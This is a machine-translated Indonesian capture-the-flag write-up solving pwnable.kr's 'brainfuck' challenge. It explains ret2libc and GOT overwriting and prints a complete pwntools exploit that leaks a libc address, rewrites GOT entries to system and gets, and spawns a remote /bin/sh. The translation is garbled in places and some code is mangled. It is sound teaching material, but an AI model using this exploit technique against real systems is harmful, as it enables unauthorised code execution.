Pemecahan masalah dengan pwnable.kr 22 - brainfuck. Serangan ret2libc

gambar

Pada artikel ini, kita akan menyelesaikan tugas ke-22 dari situs pwnable.kr dan mencari tahu kategori serangan yang melibatkan penulisan ulang alamat di GOT ke alamat fungsi yang kita butuhkan dari perpustakaan.

Informasi Organisasi
Terutama bagi mereka yang ingin mempelajari sesuatu yang baru dan berkembang di bidang informasi dan keamanan komputer, saya akan menulis dan berbicara tentang kategori berikut:

  • PWN;
  • kriptografi (Crypto);
  • teknologi jaringan (Jaringan);
  • membalikkan (Reverse Engineering);
  • steganografi (Stegano);
  • pencarian dan eksploitasi kerentanan WEB.

Selain itu, saya akan membagikan pengalaman saya dalam forensik komputer, analisis malware dan firmware, serangan pada jaringan nirkabel dan jaringan area lokal, melakukan pentest dan menulis eksploitasi.

Agar Anda dapat mengetahui tentang artikel baru, perangkat lunak, dan informasi lainnya, saya membuat saluran di Telegram dan grup untuk membahas masalah apa pun di bidang ICD. Juga, saya pribadi akan mempertimbangkan permintaan pribadi Anda, pertanyaan, saran dan rekomendasi secara pribadi dan akan menjawab semua orang .

Semua informasi disediakan hanya untuk tujuan pendidikan. Penulis dokumen ini tidak bertanggung jawab atas kerusakan yang disebabkan seseorang sebagai akibat dari menggunakan pengetahuan dan metode yang diperoleh sebagai hasil dari mempelajari dokumen ini.

Kembali ke serangan library


Return to library attack (Serangan kembali ke libc) adalah salah satu jenis serangan komputer yang terkait dengan buffer overflows ketika alamat pengirim suatu fungsi pada stack diganti dengan alamat fungsi lain dalam program, dan parameter untuk fungsi yang dipanggil ditulis ke bagian stack berikutnya. Teknik ini memungkinkan penyerang untuk melakukan fungsi apa pun yang ada di perpustakaan tanpa perlu menyuntikkan kode berbahaya ke dalam program.

Linux memiliki perpustakaan libc bersama yang menyediakan fungsi standar C dan POSIX, seperti system () untuk mengeksekusi perintah sewenang-wenang. Perpustakaan serupa ada di keluarga OS Windows. Meskipun penyerang dapat memaksa suatu program untuk melompat ke alamat mana pun, sebagian besar program menggunakan libc (terhubung dengannya), ia memiliki fungsi yang mudah untuk meluncurkan perintah yang sewenang-wenang. Oleh karena itu, fungsi perpustakaan standar adalah target yang paling mungkin dari eksploitasi tersebut, yang memberi nama pada kelas serangan.

Solusi untuk pencarian horcrux


Kita mulai bagian kedua. Saya akan segera mengatakan bahwa ini lebih sulit daripada yang pertama dan kami tidak diberi kode sumber aplikasi. Jangan lupakan pembahasannya di sini . Mari kita mulai.

Klik pada ikon dengan tanda tangan otak bercinta. Mereka memberi kami alamat dan port untuk menghubungkan, program itu sendiri, perpustakaan libc untuk itu dan menjelaskan bahwa itu adalah emulator bahasa brainfuck .

gambar

Unduh semua yang mereka berikan kepada kami, periksa binernya. Ini adalah elf 32-bit, jadi kami mendekompilasi program di IDA Pro.

gambar

Tidak ada kerentanan dalam fungsi utama. Alokasi memori dan jumlah karakter yang dimasukkan dalam variabel s dikendalikan. Sebelum ini, pointer p diinisialisasi. Mari kita lihat fungsi brainfuck.

gambar

Fungsi ini digunakan untuk setiap karakter dari string yang kita masukkan. Ini berisi urutan tindakan, tergantung pada karakter. Serangkaian perintah lengkap terlihat seperti ini:

  • +: tambahkan satu ke nilai yang terletak di p;
  • ,: mengambil karakter lain dari input standar dan membawanya pada p;
  • -: kurangi satu dari nilai pada p;
  • .: menampilkan karakter di alamat p;
  • <: kurangi dari p;
  • >: menambah ke p.

gambar

Dengan demikian, solusi untuk tugas kita akan terjadi melalui memanipulasi pointer p. Temukan alamat awalnya. Dalam fungsi utama, alamat rekaman variabel dimasukkan dalam p, yaitu, 0x804a0a0.

gambar

Pada saat yang sama, bagian got.plt terletak di 0x804a000, alamat fungsi yang digunakan disimpan di perpustakaan libc. Tentang GOT dan PLT, saya sudah menulis di sini .

gambar

Karena dengan memanipulasi pointer p kita dapat mencapai GOT, kita dapat mengimplementasikan serangan seperti ret2libc. Untuk melakukan ini, kita perlu menulis ulang alamat fungsi yang digunakan ke alamat fungsi sistem () dari libc (kita bahkan diberi pustaka).

Dengan demikian, vektor serangan berikut muncul:

  1. tulis ulang alamat keuangan ke alamat fungsi sistem;
  2. tulis ulang alamat memset untuk mendapatkan;
  3. tulis ulang alamat putchar ke utama.

Apa yang akan terjadi setelah ini: setelah menyelesaikan langkah-langkah yang ditunjukkan di atas, ketika fungsi putchar dipanggil, fungsi utama akan dipanggil, yang akan memanggil get bukannya memset dan membaca string yang kita masukkan ke stack. Setelah itu, alih-alih mencari uang, sebuah sistem akan dipanggil, yang akan memunculkan argumen dari tumpukan (yaitu, baris yang kita masukkan).

Mari kita terapkan ini. Pertama, buat templat yang berisi alamat penunjuk dan fungsi:

from pwn import * r = remote('pwnable.kr', 9001) p = 0x804a0a0 p_fgets = 0x804a010 p_puts = 0x804a018 p_putchar = 0x804a030 p_main = 0x8048671 

Sekarang kita akan menulis fungsi yang akan memindahkan pointer ke sejumlah langkah yang kita butuhkan:

 def mvAddr(n): global pp += n if n > 0: return ">"*n else: return "<"*((-1)*n) 

Fungsi yang membaca 4 byte:

 def readVar(): return ".>"*4 + "<"*4 

Fungsi yang akan menerima dan menulis 4 byte:

 def writeVar(): return ",>"*4 + "<"*4 

Sekarang kita menulis isinya. Sederhana - kita pindah ke alamat app, baca (nanti akan saya katakan alasannya), tulis ulang ... Kita pergi ke alamat memset - kita tulis ulang, kita buka alamat putchar - kita tulis ulang. Semuanya seperti dalam ide.

 payload = mvAddr(p_fgets - p) payload += readVar() payload += writeVar() payload += mvAddr(p_memset - p) payload += writeVar() payload += mvAddr(p_putchar - p) payload += writeVar() payload += '.' 

Jadi mengapa membaca alamat gadget? Karena ini adalah got.plt, kami membaca alamat fgets ke pustaka libc yang terkait. Karena kita hanya memiliki libc library (tidak terkait), kemudian mengurangkan alamat fungsi yang sama di perpustakaan yang tidak terkait dari alamat fungsi di perpustakaan yang ditautkan, kita akan menentukan basis, yaitu, alamat dari mana perpustakaan dihubungkan oleh file m (awal kode perpustakaan). Kemudian menambahkan ke basis offset fungsi apa pun di pustaka yang tidak terkait, kita akan sampai ke alamat fungsi ini di yang sudah terhubung. Artinya, kita akan memanggil fungsi dari biner yang bahkan tidak didefinisikan ...

Jadi, pemuatan ini akan memberi kami alamat fungsi di pustaka yang ditautkan. Mari cari alamatnya di tautan yang tidak terhubung.

 libc = ELF('./bf_libc.so') fgets_addr_libc = libc.symbols['fgets'] 

Dan sekarang, mengingat respons server, kami akan menemukan databasenya.

 r.recvline() r.recvline() r.send(payload+'\n') fgets_addr_bin = u32(r.recv() + r.recv()) libc_base = int( fgets_addr_bin - fgets_addr_libc) 

Sekarang kita mendapatkan alamat fungsi lain dengan mempertimbangkan basis.

 system = libc_base + libc.symbols['system'] gets = libc_base + libc.symbols['gets'] 

Dan kami menyadari ide kami.

 r.send(p32(system)) r.send(p32(gets)) r.send(p32(p_main)) r.send("/bin/sh" + '\n') r.interactive() 

Kode lengkap
 from pwn import * r = remote('pwnable.kr', 9001) p = 0x804a0a0 p_fgets = 0x804a010 p_memset = 0x804a02c p_putchar = 0x804a030 p_main = 0x8048671 def mvAddr(n): global pp += n if n > 0: return ">"*n else: return "<"*((-1)*n) def readVar(): return ".>"*4 + "<"*4 def writeVar(): return ",>"*4 + "<"*4 payload = mvAddr(p_fgets - p) payload += readVar() payload += writeVar() payload += mvAddr(p_memset - p) payload += writeVar() payload += mvAddr(p_putchar - p) payload += writeVar() payload += '.' libc = ELF('./bf_libc.so') fgets_addr_libc = libc.symbols['fgets'] r.recvline() r.recvline() r.send(payload+'\n') fgets_addr_bin = u32(r.recv() + r.recv()) libc_base = int( fgets_addr_bin - fgets_addr_libc) system = libc_base + libc.symbols['system'] gets = libc_base + libc.symbols['gets'] r.send(p32(system)) r.send(p32(gets)) r.send(p32(p_main)) r.send("/bin/sh" + '\n') r.interactive() 


gambar

Kami mendapatkan bendera yang diinginkan dan memulai bagian kedua dari tugas di pwnable.kr.

gambar

Anda dapat bergabung dengan kami di Telegram . Lain kali kita akan berurusan dengan heap overflow.

Source: https://habr.com/ru/post/id466109/


All Articles